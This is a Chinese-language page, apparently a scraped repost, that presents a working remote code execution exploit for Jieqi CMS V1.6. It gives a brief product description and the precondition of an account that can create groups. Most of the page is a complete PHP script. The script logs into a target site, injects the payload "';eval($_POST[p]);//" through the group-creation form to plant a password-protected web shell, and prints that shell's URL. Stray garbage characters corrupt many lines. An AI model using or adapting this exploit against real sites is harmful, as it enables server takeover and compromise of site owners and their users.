Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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9 `- K0 q& d% J# f: c该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
0 ~4 W7 ?. S/ @) G3 U& [7 G' b 需要有一个能创建圈子的用户。
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, ]7 @+ Q0 [5 j# O) a% y$ P<?php

" [. g9 ~+ ^: g8 yprint_r('
* J9 r; |. L3 a( W1 q+---------------------------------------------------------------------------+
* }( T' K, B. IJieqi CMS V1.6 PHP Code Injection Exploit
( }! U; e" v4 q  Q8 mby flyh4t
/ d0 c+ i0 V" N) a9 ]mail: phpsec at hotmail dot com
. J+ D; r- |7 pteam: http://www.wolvez.org
+ K( l3 E# ?4 c& l, W/ Y) q+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
! V4 Q7 d6 h' G) e- D*/ if ($argc < 5) { print_r('
* K8 d* s3 L) ?2 z+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
4 f6 [. I- @# J# O' nhost:      target server (ip/hostname)
: [) z7 V" ], j. }. @5 apath:      path to jieqicms
3 ~1 r( O8 W4 Yuasename:  a username who can create group
. \' `. U6 x/ ^- {. B% J* lExample:
9 M: k$ j9 ^" q6 c( |4 b" @php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
3 G) K/ I3 `, P2 }, J+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
  n" Q& a" `# g1 e& {6 ^Content-Disposition: form-data; name="gname"

4 U% `$ m$ D' A9 c'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
1 K3 w5 I9 H4 r+ q8 H3 @8 _-----------------------------23281168279961
5 W7 H# {- r, @5 m$ ~Content-Disposition: form-data; name="gcatid"
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- P9 R# v: a9 X" Q$ J/ t-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

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! T0 |. V9 B( e-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
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  _5 R0 y/ D, w' g* k8 h' m-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;